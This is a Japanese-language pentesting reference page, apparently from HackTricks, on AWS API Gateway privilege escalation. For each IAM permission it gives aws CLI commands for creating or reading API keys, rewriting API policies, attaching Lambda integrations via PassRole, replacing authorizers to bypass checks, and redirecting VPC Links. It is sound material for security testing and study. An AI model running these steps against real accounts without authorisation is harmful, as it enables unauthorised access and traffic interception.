AWS - Apigateway Privesc
{{#include ../../../../banners/hacktricks-training.md}}
Apigateway
詳しくは以下を参照してください:
{{#ref}} ../../aws-services/aws-api-gateway-enum.md {{#endref}}
apigateway:POST
この権限があれば、構成されている APIs の API keys を生成できます(リージョンごとに)。
aws --region <region> apigateway create-api-key
Potential Impact: この手法ではprivescはできませんが、機密情報にアクセスできる可能性があります。
apigateway:GET
この権限があれば、設定されているAPIの生成済み API キーを取得できます(リージョンごと)。
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
潜在的影響: この手法ではprivescはできませんが、機密情報にアクセスできる可能性があります。
apigateway:UpdateRestApiPolicy, apigateway:PATCH
これらの権限があれば、APIのリソースポリシーを変更して自分にそのAPIを呼び出すアクセス権を与え、API gatewayが持つ可能性のあるアクセス(例:脆弱なlambdaを呼び出すこと)を悪用することが可能です。
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
潜在的影響: 通常、この手法で直接privescできることは少ないですが、機密情報にアクセスできる可能性があります。
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
Note
テストが必要
apigateway:PutIntegration、apigateway:CreateDeployment、および iam:PassRole の権限を持つ攻撃者は、IAM ロールが割り当てられた Lambda 関数を使用して既存の API Gateway REST API に新しい統合を追加できます。攻撃者はその後、Lambda 関数をトリガーして任意のコードを実行させ、IAM ロールに紐づくリソースにアクセスする可能性があります。
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: Lambda function の IAM role に関連付けられたリソースへのアクセス。
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
Note
テストが必要
攻撃者が apigateway:UpdateAuthorizer と apigateway:CreateDeployment の権限を持っていると、既存の API Gateway authorizer を変更してセキュリティチェックを回避したり、API リクエストが行われたときに任意のコードを実行させたりすることができます。
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
潜在的影響: セキュリティチェックの回避、APIリソースへの不正アクセス。
apigateway:UpdateVpcLink
Note
検証が必要
apigateway:UpdateVpcLink の権限を持つ攻撃者は 既存の VPC Link を別の Network Load Balancer を指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性がある。
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
潜在的影響: プライベート API リソースへの不正アクセス、API トラフィックの傍受または妨害。
{{#include ../../../../banners/hacktricks-training.md}}